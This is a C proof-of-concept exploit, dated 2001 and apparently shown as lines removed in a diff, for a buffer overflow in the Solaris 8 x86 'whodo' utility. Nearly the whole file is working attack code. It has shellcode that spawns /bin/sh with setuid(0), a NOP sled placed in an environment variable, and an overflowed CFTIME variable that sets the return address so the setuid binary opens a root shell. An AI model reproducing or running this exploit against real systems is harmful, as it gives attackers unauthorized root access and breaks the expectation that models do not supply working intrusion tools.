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- #include <fcntl.h>
-
- /*
- /usr/sbin/i86/whodo overflow proof of conecpt.
-
- Pablo Sor, Buenos Aires, Argentina 06/2001
- psor@afip.gov.ar, psor@ccc.uba.ar
-
- works against x86 solaris 8
-
- default offset +/- 100 should work.
-
- */
-
- long get_esp() { __asm__("movl %esp,%eax"); }
-
- int main(int ac, char **av)
- {
-
- char shell[]=
- "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
- "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
- "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
- "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
- "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
- "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff";
-
- unsigned long magic = get_esp() + 1180; /* default offset */
-
- unsigned char buf[800];
- char *env;
-
- env = (char *) malloc(400*sizeof(char));
- memset(env,0x90,400);
- memcpy(env+160,shell,strlen(shell));
- memcpy(env,"SOR=",4);
- buf[399]=0;
- putenv(env);
-
- memset(buf,0x41,800);
- memcpy(buf+271,&magic,4);
- memcpy(buf,"CFTIME=",7);
- buf[799]=0;
- putenv(buf);
-
- system("/usr/sbin/i86/whodo");
- }
-